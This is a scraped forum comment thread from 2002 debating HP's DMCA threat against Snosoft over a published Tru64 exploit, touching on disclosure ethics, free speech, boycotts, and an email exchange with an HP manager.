We lost a great deal of medical knowledge after WWII when we threw out the data gathered by Dr. Josef Mengele. This medical knowledge was the result of human experimentation on prisoners; some of it will remain lost until someone repeats the unethical human experiments involved.
So in answer: it has *always* mattered what source information; the ends never justify the means.
"The cool thing about the Internet is that you don't have to be a professor at MIT to publish security exploits. The publications speaks for itself."
In this case, it did not. It spoke for a security consulting company, where the publisher of the exploit was a principal. If the exploit had merely spoken for itself, then we wouldn't be having this discussion, because HP would not have had a name to which it could attach their threat of a lawsuit.
The ends in this case were not even knowledge: they were commercial gain. Knowledge was just a side effect of the process of obtaining the commercial gain. If the commercial gain could have been obtained without the exposure of the security flaw, then there likely would not have been an exposure at all.
Am I gald the vulnerability was exposed? Yes.
Do I think HP is playing CYA? Yes.
Do I think the person who exposed the vulnerability acted ethically, as I would expect a legitimate security researcher to act? No.
-- Terry
Okay, what's to keep one company from slandering another company without any proof? What if Corp A announces that they have found a very destructive hole in Corp B's software, rendering it totally open to attack, but Corp A cannot release this information because of the DMCA.
Stay with me here: What if there is no vulnerability? Even if Corp B asks Corp A to do so, Corp A can (correctly) claim that they are not allowed to release the information under DMCA. Corp B can't find the vulnerability to fix it. Corp B cannot effectively defend its reputation because the exact charges are not known.
- oakbox
Not just answers, the correct questions.
nice... the old, infamous method of Security through Obscurity has been replaced with a new, much safer one -- Security through DMCA. Way to go!
Anyone who stores copyrighted material on a Tru64 system, and is counting on the system as a technological measure to control access to their work, can sue Snosoft for violating DMCA.
Alan Cox wasn't worried about Linus or someone else on the kernel team suing him. It's the millions of other people who use Linux, that he can't afford to trust.
So even if HP backs down, Snosoft's people aren't necessarily out of the woods. Realistically, they probably are. But they can't be 100% sure. That's how bad this law is.
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
As long as what you say doesn't jeopardize national security, suggest an interest in terrorism, reveal trade secrets, infringe on copyrights, trademarks, or patents, isn't a description of sexual activities involving anyone under the age of majority, isn't disruptive, doesn't explain how to circumvent copyright, doesn't explain how to acquire or use drugs, isn't seditious, doesn't reveal trade secrets, doesn't threaten our vital national unity during this ongoing and arduous war against terrorism, and is otherwise relatively inoffensive, you can say almost anything you like in the US.
I recommend on about $2-5m IT purchases a year. If we all tell Carly (in nice positive ways) how much this stupid decision is going to cost them, they'll hopefully see the light, and give up. This is a shame, as I've personally been a HP owner since 1995 and had exemplerary service from them for the longest time. Compaq on the other hand has been busy screwing customers of mine since 1990. Their "service" was and always has been a joke where I live. When we paid a large wad of cash in 1997 for a bunch of Digital gear, well, Compaq bought them. I knew then we had signed a multi-million dollar mistake.
....
But I have no doubt now that they've threatened a lawsuit, a lawsuit we will have. Hopefully, it'll clear up the boundaries of the awful DCMA.
Anyway, HP, here's my "fuck you":
1997: $4,000,000 (at least - a huge deal)
1998: $1,000,000 (mostly desktops, changed from CPQ to HP cos I liked HP)
1999: $4,500,000 (start of a nice juicy project)
2000: $7,500,000 (the tail end of nice juicy project)
2001: a tiny bit less than $2,000,000
2002: $3,500,000 (so far)
2003: ?
2004: ?
2005: ?
2006: ?
2007: ?
2008: ?
2009: ?
2010: ?
2011: ?
2012: ?
2035: ?
2036: I retire.
Remember, HP, good friends are hard to come by, enemies are forever.
Andrew
Andrew van der Stock
Probably because the EU has no "First Amendment"
We may not have it, but we have the European Court of Human Rights, which can be seized by any citizen (EU or not) and have his/her rights enforced. This court just sticks to the Declaration of Human Rights, which include free speech and plenty of other goodies absent from the US constitution. Even nazi sh*ts are granted rights their countries denied them on behalf of "hate speech" laws and such.
I also believe we, Europeans, enjoy a pretty nice form of freedom, perhaps even more than the citizens of the USofA. At least I don't risk much being shot by a gun-toting neighbour who thinks I'm a terrorist because I speak a foreign language of have friends from diverse ethnic backgrounds.
It's about time you Americans stop thinking Europe is some sort of communist dictatorship... Because from here, the USA sure don't look like the place to be if one wants to be free!
Just my 0.02
-max
-- It's always darker before it goes pitch black.
True, this is on a product that the company undoubtedly wants to retire as soon as possible, but the message this is sending about its priorities goes considerably wider.
I think HP is wrong with its DMCA style threats, because they are not appropriate. However, I can sympathise with HP and understand why they may have "lashed out". I think the hacker in question was wrong to irresponsibly post the exploit for script kiddies to start playing with fire. For all the debate about various sorts of disclosure processes, it's quite clear that this approach potentially has a high impact upon any deployed systems and gives no time for either the vendors or the administrators to take action. This is just not a responsible real-world approach to dealing with security issues.
-- Matthew - matthew.gream@pobox.com, http://matthewgream.net
Could be, I agree, but I'd read that as 'full disclosure unless you'd hired us to perform a private audit', which is rather more reasonable.
Greg
(Inside a nuclear plant)
Aaaarrrggh! Run! The canary has mutated!
By doing this HP has just made sure that anyone that finds a real security flaw in their operating system will not publicise the issue. This security through obscurity has been shown to be useless... Even Microsoft now realizes this.
/CPQ machine since I have no idea if there are security problems that HP hindered from getting fixed.
If the item is not fixed when it is first found, and made public then this means that those flaws can easily stay hidden, and propagate into other subsystems in such a ay that fixing it at a later date may become impossible.
If the problem is not made public, there is a very good chance that real "black hat" underground distributers of the information may have and use the exploits. This could mean that real system admins are kept in the dark while their boxen are rooted from under them. This is because the admins are not made aware of the issues as a result of this action by HP.
As a result, I would much less be willing to use/trust a Tru64 / HP
--
Time is on my side
Ah.. but once they say "it is only a theoretical vulnerability" the person that published the info can say... "Nope: here is the code"; or even better, can say in the initial publication "here is the description... and we have working code; which will be published in 14 days from now" and send the vendor the working code...
Even Microsoft has learned its lesson... {there is still space for improvement... but they are getting better in these situations]
--
Time is on my side
Trying to dictate when someone is allowed to say something is in violation of the first amendment. If you live in a country where that doesn't apply then I guess it sucks to live there.
The real solution is for the vendors themselves to be more proactive and actually search for bugs and vulnerabilities. This isn't a perfect solution, because there is no such thing. Until such time that software is mathematically perfect there will always be bugs (in other words there will always be bugs). What companies like HP need are teams of programmers and legitimate crackers whose job it is to thrash the code as hard as possible to expose vulnerabilities before the criminal crackers find it. If they're too cheap to do this then fuck them and the horse they rode in on.
If you REALLY want to put an end to crap like the DMCA the very best things you can do are vote and donate money to groups like the EFF and ACLU. Put your money where your mouth is.
Lee
Muslim community leaders warn of backlash from tomorrow morning's terrorist attack.
DCMA is bad but at least at the core of our legal system we have a 1st amendment which prevents attempts at prior restraint,
The US Constitution is only as good as it's enforcement.
and so over the long term HP couldn't win this sort of thing.
Unless something were to happen quickly HP would win. Since they could afford to drag the case out. When it wants to the US government is capable of acting quickly. However they havn't done so in this case.
Now I finally understand WHY it is that HP thinks they can sue. I was honestly baffled.
Lasers Controlled Games!
I fully agree with you. There is a chance that HP really could make some good out of what happened here.
You know, in many ways, you're right. In so very many ways, the original poster is also right.
There are companies out there that don't worry about things like increasing shareholder wealth- many of those are privately held companies. There are also a lot of companies that seem to be much more concerned with the short-term stock market valuations, etc. and will do anything to "improve" their valuations short-term, including mass-layoffs, cooking the books, screwing the people of an entire state over to make their bottom line look better, etc. While it's not 100% true, there IS a reason why a lot of people think that companies solely exist to increase shareholder wealth.
I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
Well at least u get an anser if u write to him (could be an automatic reply tho cause his mailbox has been spammed by the /. crows ;)
:-)". I can assure you that my :-). We also encourage our customers and 3rd parties
...
--- schnipp ---
Dirk,
Appreciate your note and concern. Let me just start by saying, "don't
believe everything you read in the press
primary interest and concern is for the Tru64 customers and that the
Tru64 engineering team is committed to finding and fixing any security
problem in the product and getting these fixes/notifications out to
customers ASAP. Trying to do everything possible for Tru64
customers is what motivates and brings me to work every day
(and night
that find security issues in the product to coordinate through the
CERT process, which has been set up to support both product
vendors and customers. Again, I appreciate your concern and
feedback.
Kent
-----Original Message-----
From: Dirk Lenneffer [mailto:*********.com]
Sent: Tuesday, July 30, 2002 11:42 PM
To: Ferson, Kent
Subject: TRUE64 exploit
dear mr. ferson,
instead of threatening the people who do YOUR work of finding bugs in
your product you should simply thank them, fix the bug and move along.
this last act of yours doesnt give us as customers great confidence in
your way of handling security related issues within your products.
best regards
--- schnapp ---
___________ LOAD"$",8,1
The EFF I respect. I understand their issues, and the fact that we are totally under assault by corporations who want to chop up the digital world and sell it to us at as much as we can possibly afford to pay. Digital "Coal Towns" (look it up if you want to see some of America's greatest corporate crimes against humanity in the past).
/. crowd, I'd like to say lets stick to what we are specifically interested with on this board... and not give money to people who would love to "engineer through legislation" a power struggle at the expense of some Americans over other Americans.
As a member of the media, and a person that touches base with the ACLU every few weeks, I'll say that the ACLU is no longer interested in civil liberties, but more interested in legislating this society to a direction that they would prefer us to act. Trying to modify behavior through legislation is very different than protecting the right for us to act the way WE WANT TO ACT.
As of late, they seem to be only interested in anyone else but a person interested in computers. After talking with me several times face to face, the local rep of the ACLU has pretty much explained about their crusade against private Christian schools (please not the stressing of private) and their deemed "objectionable behavior" by those schools, and active interest in what goes on inside those schools. Those activities are rather curious for an organization like the ACLU, are they not?
After talkig to them about these subjects, I would never, EVER give them another dollar. They appear to represent the civil liberties of only SOME AMERICANS. OF COURSE, before I get slapped back, I would like to repeat this... imho, IMHO, IMHO!
So as a member in good standing of the
This is a call to not listen to the ACLU. For computer issues, please stick your money to the EFF. The ACLU has gotten batty in its old age, and is trying to change the way we think, which the last time I checked, is a CIVIL LIBERTY.
If they don't do something to redeem themselves, then I, personally, have had it with all HP and Compaq products. I won't trust a company that won't allow people to criticize it. And I am quite reluctant to ever trust a company that has ever threatened people who criticized it.
If they want to redeem themselves, they have three choices:
1) totally distance themselves from the cretin who issued that letter. He's a high manager, so this probably means firing for cause and without reccomendation. Management is supposed to be responsible for policy, and by keeping him, or even not punishing him harshly, they are continuing an association with that policy.
2) lead a crusade to dismantle the DMCA. You can make a case that a company must live within the current laws, but if you do you must accept the responsibility for the moral character of those laws. Considering HPs position at the top of several industries, they would need to take a major role in improving the laws... and not just for themselves!
3) come up with clear and convincing proof that that was the only way out of a situation that endangered ME without unacceptable costs. Proving that this was protection for themselves cuts no ice with me. If they want to say "we had to do ", then they had better be willing to show that it was for the common good of the community if they wish to be considered community members. Even then, it had better be a really good reason.
There may be another choice, but I sure don't see it.
I still assess Intel a 10% advantage penalty for their criminal prosecution of a sysadmin, and for their participation in a scheme involving encrypting the signals being transmitted to monitors. So far I haven't regretted choosing AMD, either. And I doubt that I'd regret choosing another company to buy my printers and ink from.
I think we've pushed this "anyone can grow up to be president" thing too far.
Yeah, I realized that after I looked at the preview on /. Oh well, hopefully she'll understand.
(B) + (D) + (B) + (D) = (K) + (&)
Try Canon. They not only make good printers but they aren't dicks about ink. Their printers have seperate ink cartridges (well, their $60 model may not, but everything I've seen does) and they make it easy to refill them yourself.
This says a lot in the age of companies chipping their cartridges to prevent refilling, "for your own good." (And threatening to sue people who bypass, or describe how to bypass, the protection.)
Really, I'm too lazy to refill my own cartridges, but I won't *ever* go with someone who makes it impossible. It's a freedom thing. And this way there's a second source, if I ever need it.
I wrote Canon an email explain why all of my future purchases (and recommendations) would be for their products, based on their current policies.
The limitations on depictions of sex between minors was, of course, from legislation that hasn't passed, but we're one hysteria away from having that happen.
The 2600 case is a case in which just linking to a copyright-protection-violating description was prohibited. Again, the civil/criminal distinction is irrelevant from the perspective of the effect on free speech.
And as far as the drug-speech goes, check out HR the rider of HR833 (section 1701),making it a crime punishable by up to 10 years in federal prison to teach, demonstrate or distribute
information on the manufacture or use of illegal drugs.
Today, top company exectutives seem to be above the law.
The HP VP droid who did this is not acting above the law. He is using the law exactly as intended!
We need to get the law removed, not convince a bunch of corporations that they shouldn't use it!
-pmb
Essentially, you are relying on the justice system to defy the anti-freedom populist sentiment in the US. I don't think they will. The last decision of principle - roundly condemned by both parties and most of the press, yet the only reasonably constitutional decision that any objective judges could come to - was the "under God" decision by the 9th US court of appeals. The fact that it's going to be overturned by the SCOTUS will demonstrate that the judiciary is not going to protect the constitution any more.
The first statement was a bon mot, not a serious analysis of freedom of speech in the US. It was attached to the ridiculous, almost meaningless and oft-recited cliche that the US is the freest society in the world (incarceration rates alone should at least problematize that claim). As far as the "under God" bit goes, though, I can't understand how any objective observer could see it as constitutional. It so clearly mandates a monotheistic doctrine, and makes that doctrine essential to national unity. (While students were excused from saying the pledge, teachers were not - which meant that a public institution was requiring them to lead the pledge, or lose their jobs. This is clearly a violation of the spirit of not allowing the state to respect the establishment of religion - and of course, just as at one time states may have established churches, states also violated the nature of the constitution by maintaining slavery for decades. That's irrelevant. And if those states had mandated compulsory membership in those state churches for employees, that too, I think, would be seen as explicitly unconstitutional.) Many of us who do advocate the ongoing separation between church and state are unhappy with the timing of the decision - it's not a battle that is best fought now, with patriotic fervor still at high levels, and it's a pyrrhic victory - but let's face it, the 9th Court of Appeals had the case in their docket and had to rule on it.
Economic freedom isn't even addressed in the constitution, really. The fact is that the 'economic freedom' as experienced in the US has more to do with the options that prosperity creates than with anything else.
And you did an unusual flip-flop. One one hand, you cite economic freedom as a demonstration of the relative freedom of the US, but farther up the thread you had said that the civil penalties against speech are not as significant as loss of freedom. One one hand you avail yourself of an economic argument for freedom, on the other you abandon that for a discursive/civil one.
"http://www.netsys.com/cgi-bin/display_news_articl e.cgi?338"
Intent is always a factor in any criminal or legal proceeding. Intent is very important in deciding a case, because intent determines the purpose for the act in question, rather than the result.
Considering only the ends means you ignore the means, and the means may in fact be unconcienable, or even reprehensible.
The indirectness of the gain is immaterial to the fact that the motivation was gain.
Gain is not a *bad* reason, but it's not a reason which renders the act defensible, from a legal or moral standpoint.
Motivation speaks to ethicality of the action. If the motivation was base, then that's very different than if it had been principled.
-- Terry
When you go out of your way to call you, from Denmark no less, you do what everyone I talk to do ... "well, I haven't had time to take a shower today, and I want to do that" ...
... ;-)
Maybe it's just me
We do not live in the 21st century. We live in the 20 second century.
bleh... hit submit instead of preview.
anyway, as I was saying:
The fact that they are threatening legal action implies two things: They see this as a real threat; they prefer to suppress word of vulnerabilities rather than fix them.
The latter is not the sort of response I want from a vendor. It's especially grating when, in the past few days, Debian and RedHat, for instance, have responded promptly to every issue posted on BugTraq.